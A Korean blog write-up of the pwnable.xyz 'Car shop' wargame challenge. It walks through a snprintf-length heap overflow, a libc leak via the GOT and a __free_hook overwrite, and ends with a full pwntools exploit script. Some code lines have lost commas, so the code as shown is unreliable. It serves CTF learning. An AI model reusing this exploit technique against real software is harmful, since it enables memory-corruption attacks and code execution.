본문으로 바로가기

pwnable.xyz / Car shop

category Wargame/pwnable.xyz 2020. 5. 6. 00:45

 

doubly linked list로 구현되어 있다. name은 0x10 크기의 chunk를 가리킨다. 

 

  if ( idx >= 0 && (unsigned int)idx <= 9 )
  {
    e = (car_entry *)malloc(0x20uLL);
    e->name = (char *)malloc(0x10uLL);
    e->name_size = snprintf(e->name, 0x10uLL, "%s"makes[idx]);
    e->next = NULL;
    e->prev = NULL;

    if ( Head )
    {
      for ( last = Headlast->next; last = last->next )
        ;
      last->next = e;
      e->prev = last;
    }
    else
    {
      Head = e;
    }
  }

 

buy 함수이다. Head가 NULL이면 Head에 새로 만든 노드를 넣고, NULL이 아니면 리스트의 가장 끝 부분에 노드를 추가한다.

 

  if ( Head )
  {
    printf("Which car would you like to sell: ");
    name = readline();

    for ( e = Headee = e->next )
    {
      if ( !strcmp(e->name, name) )
      {
        // unlink
        if ( e->prev )
          e->prev->next = e->next;
        if ( e->next )
          e->next->prev = e->prev;

        // head removal
        if ( e == Head )
        {
          Head = e->next;
          if ( Head )
            Head->prev = NULL;
        }

        memset(e->name, 0, e->name_size);
        memset(e, 0, 0x20uLL);
        free(e->name);
        free(e);
      }
    }

    free(name);
  }

 

sell 함수는 unlink를 진행하고, 만약 e가 Head에 해당하면 Head를 변경하는 역할을 한다.

 

  for ( e = Headee = e->next )
  {
    if ( !strcmp(e->name, name) )
    {
      printf("Name your new model: ");
      name_new = readline();
      e->name_size = snprintf(e->name, e->name_size, "%s"name_new);
      free(name_new);
      break;
    }
  }

 

가장 중요한, 버그가 있는 remodel 함수다. snprintf의 반환값은 출력한 글자가 아니라 출력할 수 있었던 글자를 나타내기 때문에, 입력 문자열을 크게 만들면 size 제한으로 문자열이 잘려도 name_size에는 큰 값이 들어갈 수 있다.

 

name_size 크기를 키우고 heap overflow로 다음에 위치한 car_entry chunk의 name 포인터를 조작해 원하는 곳에 값을 쓸 수 있다. Full RELRO가 걸려있어서 GOT overwrite는 안 되고, libc 주소를 leak 한 뒤 malloc의 hook 계열 함수 포인터에 win 주소를 써서 win을 실행할 수 있다.

 

libc leak은 name 포인터를 함수 GOT로 옮긴 뒤 출력시키고 함수 offset을 빼서 구할 수 있다.

remodel은 name 문자열 비교로 대상을 찾는다. __free_hook의 초기값은 0으로, 길이 0인 문자열과 strcmp를 하면 0이 나온다.

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
from pwn import *
import argparse


def log_info(string) :
    sys.stderr.write((u'\u001b[37;1m[\u001b[32m+\u001b[37;1m]\u001b[0m ' + string + '\n').encode())

def itob(i) :
    return str(i).encode()

def Buy(idx:int) :
    p.writelineafter(b'> 'b'1')
    p.writelineafter(b'> ', itob(idx))

def Sell(name:bytes) :
    p.writelineafter(b'> 'b'2')
    p.writelineafter(b': ', name)

def Remodel(name:bytesnew:bytes) :
    p.writelineafter(b'> 'b'3')
    p.writelineafter(b': ', name)
    p.writelineafter(b': ', new)

def List() :
    cars = []
    p.writelineafter(b'> 'b'4')
    p.readline()

    while True :
        r = p.readline(keepends=False)
        if not b': ' in r :
            break
        cars.append(r.split(b': ')[1])

    return cars

def exploit() :
    malloc_got = 0x601FD8

    Buy(0)   # BMW
    Buy(1)   # Lexus
    Buy(2)   # Toyota
    Buy(4)   # Audi

    payload = b'A'*0x20
    payload += p64(malloc_got)[:7]

    Remodel(b'BMW'b'A'*0x80)
    Remodel(b'AA', payload)

    leak = u64(List()[1].ljust(8b'\x00'))
    libc_base = leak - 0x770B0
    libc_free_hook = libc_base + 0x3987C8
    log_info('libc base: '+hex(libc_base))
    log_info('__free_hook = '+hex(libc_free_hook))

    payload = b'A'*0x20
    payload += p64(libc_free_hook)
    payload += p64(0x80)

    Remodel(b'Toyota'b'A'*0x80)
    Remodel(b'AAAAA', payload)
    Remodel(b'\x00', p64(0x400B4E))

    p.interactive()


if __name__ == '__main__' :
    parser = argparse.ArgumentParser()
    parser.add_argument('-r''--remote'action='store_true'help='connect to remote server')
    args = parser.parse_args()

    if args.remote :
        p = connect('svc.pwnable.xyz'30037fam='ipv4')
    else :
        p = process('./challenge')

    exploit()

 

 

 

Last update: 5/6/2020

'Wargame > pwnable.xyz' 카테고리의 다른 글

pwnable.xyz / door  (0) 2020.05.06
pwnable.xyz / child  (0) 2020.05.06
pwnable.xyz / words  (0) 2020.05.05
pwnable.xyz / notebook  (0) 2020.05.03
pwnable.xyz / nin  (0) 2020.05.02